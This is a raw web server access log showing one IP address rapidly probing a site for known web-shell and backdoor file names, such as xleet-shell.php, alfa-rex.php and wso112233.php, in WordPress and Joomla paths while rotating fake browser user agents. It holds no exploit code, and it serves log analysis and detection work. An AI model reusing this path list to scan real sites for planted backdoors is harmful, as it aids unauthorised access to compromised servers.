[25/Apr/2025:11:25:11 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:25:11 -0400] "GET /WSOEnigma.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:11 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:25:12 -0400] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:25:12 -0400] "GET /cgi-bin/cgi-bin/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:13 -0400] "GET /wp-content/plugins/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:25:13 -0400] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:13 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:14 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:25:14 -0400] "GET /consystem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:14 -0400] "GET /_css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:15 -0400] "GET /conf1g.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:25:15 -0400] "GET /base.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:25:15 -0400] "GET /wsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:25:16 -0400] "GET /wp-content/plugins/wpcall-button/button-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:16 -0400] "GET /wp-content/plugins/phpadmin/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:16 -0400] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:16 -0400] "GET /wp-content/themes/too.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:17 -0400] "GET /wp-includes/assets/winnner.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:25:17 -0400] "GET /wp-content/plugins/classic-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:25:17 -0400] "GET /wp-content/plugins/eventon-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:18 -0400] "GET /wp-content/plugins/royal-ckeditor/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:18 -0400] "GET /fwe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:25:18 -0400] "GET /wp-content/11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:19 -0400] "GET /.well-known/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:19 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:19 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:19 -0400] "GET /.tmb/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:20 -0400] "GET /images/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:25:20 -0400] "GET /wp-content/uploads/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:25:20 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:25:20 -0400] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:21 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:25:21 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:21 -0400] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:22 -0400] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:22 -0400] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:22 -0400] "GET /wp-content/themes/panama/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:22 -0400] "GET /wp-content/themes/moog/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:25:23 -0400] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:25:23 -0400] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:23 -0400] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:23 -0400] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:25:23 -0400] "GET /wp-content/themes/quext/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:25:24 -0400] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:24 -0400] "GET /wp-content/smm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:25 -0400] "GET /jetpack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:25 -0400] "GET /xltavrat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:25 -0400] "GET /.wp-back.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:25:26 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:25:26 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:26 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:26 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:27 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:27 -0400] "GET /libraries/fof/database/iterator/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:27 -0400] "GET /wp-content/data-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:28 -0400] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:25:28 -0400] "GET /plugins/finder/categories/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:25:28 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:25:29 -0400] "GET /thanks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:29 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:29 -0400] "GET /wp-content/themes/mero-megazines/ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:29 -0400] "GET /wp-content/themes/welfare-charity/www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:30 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:25:30 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:30 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:25:30 -0400] "GET /wp-content/themes/applica/400.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:31 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.33.80 - - [25/Apr/2025:11:25:31 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:31 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:31 -0400] "GET /wp-content/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:25:32 -0400] "GET /wp-includes/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:25:32 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:32 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:33 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:25:33 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:25:33 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:33 -0400] "GET /wp-content/plugins/column/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:33 -0400] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:25:34 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:25:34 -0400] "GET /wp-content/plugins/hellopress/0xlufix2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:25:35 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:35 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:35 -0400] "GET /loger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:36 -0400] "GET /gank.php.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:25:36 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:37 -0400] "GET /wp.php?Chitoge HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:37 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:38 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:25:38 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:25:38 -0400] "GET /wp-content/plugins/xwp/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:38 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:39 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:39 -0400] "GET /wp-content/plugins/instabuilder2/cache/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:39 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:25:40 -0400] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:25:40 -0400] "GET /wp-content/plugins/wpputty/wpputty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:25:40 -0400] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:25:40 -0400] "GET /wp-includes/sitemaps/providers/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:41 -0400] "GET /wp-includes/PHPMailer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:25:41 -0400] "GET /wp-admin/maint/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:41 -0400] "GET /wp-includes/IXR/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:41 -0400] "GET /wp-includes/images/crystal/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:41 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:42 -0400] "GET /wp-admin/css/colors/ocean/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:25:42 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:42 -0400] "GET /wp-admin/maint/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:25:42 -0400] "GET /wsoyanzfv3.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:43 -0400] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:43 -0400] "GET /wp-admin/css/acces.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:25:44 -0400] "GET /wp-includes/css/str_replace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:44 -0400] "GET /wp-admin/css/colors/midnight/strcmp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - 